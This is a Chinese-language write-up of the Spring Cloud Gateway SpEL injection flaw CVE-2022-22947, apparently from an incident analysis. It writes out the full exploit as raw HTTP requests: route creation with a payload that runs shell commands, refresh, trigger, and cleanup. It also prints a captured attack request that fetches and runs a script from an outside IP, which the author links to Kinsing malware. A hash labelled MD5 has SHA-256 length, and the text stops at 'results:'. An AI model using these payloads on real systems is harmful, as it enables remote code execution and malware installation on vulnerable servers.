CVE-2022-22947 (Spring-Cloud-Gateway) 在2022年第一季度，发现了一个有趣且严重（基础评分10.0）的Spring Cloud Gateway代码注入漏洞，利用Actuator API执行SpEL注入，可能导致系统被攻破。 受影响版本：Spring Cloud Gateway 3.1.1+ 和 3.0.7+ 之前的版本。 在Spring Cloud Gateway中，应用程序容易受到代码注入攻击，如果满足以下条件：Gateway Actuator端点已启用、暴露且未加防护。
1.攻击者将发送一个POST请求 + JSON，用于在网关中创建新路由，并在JSON配置文件中配置该路由的响应头
POST /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 372
{"id": "BuOHOGeywH", "filters": [{"name": "AddResponseHeader", "args": {"name": "Result", "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}], "uri": "http://example.com", "order": 0}
响应：
HTTP/1.1 201 Created Location: /routes/xwpdsdeb content-length: 0
正如我们在JSON文件中看到的，我们通过执行以下表达式获取响应头的值
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 127.0.0.1/sum||wget -q -O- sum/scg.sh)|sh\"}).getInputStream()))}"}}]
并且我们可以在 exec() 方法中看到，这是一个用于远程代码执行的组合命令。
2.然后攻击者发送一个POST请求来刷新所有路由
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0
响应：
HTTP/1.1 200 OK
3.然后攻击者发送一个GET请求到新创建的路由，以在响应头中执行RCE命令
GET /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
响应：
HTTP/1.1 200 OK
Content-Type: application/json
Date: Wed, 27 Dec 2023 09:45:00 UTC
Content-Length: 202
{"predicate": "RouteDefinitionRouteLocator$$Lambda$1046/0x0000000840610840", "route_id": "xwpdsdeb", "filters": ["[[AddResponseHeader Result = ''], order = 1]"], "uri": "10.0.2.15/xwpdsdeb", "order": 0}
响应200 OK表示RCE命令已成功执行。
4.然后攻击者将发送一个DELETE请求删除该路由
DELETE /actuator/gateway/routes/xwpdsdeb HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 0
响应：
HTTP/1.1 200 OK CONNECTION: close
Date: Wed, 27 Dec 2023 09:45:01 UTC
Content-Length: 4855
HTTP 200 OK表示路由已被成功删除
##解码后的Shellcode：
POST /actuator/gateway/routes/BuOHOGeywH HTTP/1.1
Host: 180.188.253.170:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Connection: close
Content-Length: 411
Content-Type: application/json
Accept-Encoding: gzip
{
"id": "BuOHOGeywH",
"filters": [{
"name": "AddResponseHeader",
"args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"/bin/sh\",\"-c\",\"(curl -s 94.103.87.71/scg.sh||wget -q -O- 94.103.87.71/scg.sh)|sh\"}).getInputStream()))}"}
}],
"uri": "http://example.com",
"order": 0
}
解码这段Shellcode后，我找到了一个wget URL指向一个脚本，然后我手动下载了该脚本。分析该脚本后，我发现了一个指向Kinsing恶意软件的下载URL。
从该URL我下载了Kinsing恶意软件（一个ZIP文件）以进行进一步分析。随后我分析了该恶意软件的MD5值：787e2c94e6d9ce5ec01f5cbe9ee2518431eca8523155526d6dc85934c9c5787c，以下是分析结果：
